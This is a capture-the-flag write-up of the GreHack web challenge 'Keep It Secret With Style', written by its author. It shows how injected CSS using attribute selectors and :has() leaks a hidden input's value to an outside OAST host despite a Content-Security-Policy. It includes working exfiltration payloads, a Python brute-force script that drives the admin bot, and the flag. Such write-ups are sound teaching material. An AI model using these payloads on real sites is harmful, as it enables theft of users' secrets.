Introduction

This year again, I was happy to be part of the organization committee for the GreHack conference and I created some challenges for the CTF. Organization was tricky this year, given that we had grown and sold almost 3x as many tickets as in previous years. Thanks to all the participants, organizers and sponsors, the event was once again complety insane 🔥 💚

Challenge

  • Name : Keep It Secret With Style
  • Category : Web
  • Difficulty : Medium
  • Solves : 12
  • Points : 379
  • Author : Nishacid

Who would ever have hoped to combine security with design? Well, if that’s your dream, it can now come true! Discover this wonderful application that lets you store your secrets securely with a design that reflects your style.

Note, the administrator’s secret matches this regex : ^GH{[a-zA-Z0-9_]{10}}$

Solve

The challenge starts with a login page. We can register with a login, password and a secret. When logged-in, our profile page allows us to modify the background colour of it.

There is a GET parameter to control the color of the background. We can try to inject JavaScript or HTML to achieve XSS, but nothing will work, only CSS. For example, we can try to inject a new <script> tag, but it will be blocked by the Content-Security-Policy (CSP).

But, we can add new CSS instruction and thus modify the style of the page.

An important note here, is as our injection is it not the first CSS instruction, we can’t use the @import trick.

At this point and as we know the regex of the flag (^GH{[a-zA-Z0-9_]{10}}$), we can try to construct a “classic” payload to exfiltrate the content of the following input:

<input type="hidden" value="GH{flag}" id="secret" name="hiddenSecret">

With the following CSS, if the value of the input starts with G, the background image will be set to our OAST server. This is a classic blind CSS exfiltration.

input[name=hiddenSecret][value^=G]{
        background-image:url(https://7s0ltgjcg783rbrlqize0dlj9af13rrg.oastify.com/G) !important;
}

But, this will not work. This is due to the fact that we can’t make background requests on a hidden input. To do this, we can use the :has pseudo-class based on the parent section element, which will allow us to make a background request on the element.

section:has(input[name=hiddenSecret][value^=G]){
        background-image:url(https://7s0ltgjcg783rbrlqize0dlj9af13rrg.oastify.com/G) !important;
}

Now that we have a way to exfiltrate the content of the input, we can try to get the flag manually, or write a script to do it for us (I’ll let you upgrade this dirty script).

import requests
import string
import itertools

characters = string.ascii_letters + string.digits + "_" + "{}"

base_url = "https://keep-it-secret-with-style.ctf.grehack.fr/profile"
report_url = "https://keep-it-secret-with-style.ctf.grehack.fr/report"
domain = "7s0ltgjcg783rbrlqize0dlj9af13rrg.oastify.com"

def send_request(char_sequence):
    payload = f"{base_url}?color=%23c061cb}}section:has(input[name=hiddenSecret][value^={char_sequence}]){{background-image:url(https://{domain}/{char_sequence})"
    print(payload)
    
    data = {"url": payload}
    r = requests.post(url=report_url, data=data)

for length in range(1, 15):
    for combo in itertools.product(characters, repeat=length):
        char_sequence = ''.join(combo)
        send_request(char_sequence)

After a few minutes, we can construct the following payload :

section:has(input[name=hiddenSecret][value="GH{w1tH_StYl3}"]){
    background-image:url("https://7s0ltgjcg783rbrlqize0dlj9af13rrg.oastify.com/GH{w1tH_StYl3}")
}
  • Flag : GH{w1tH_StYl3}

Resources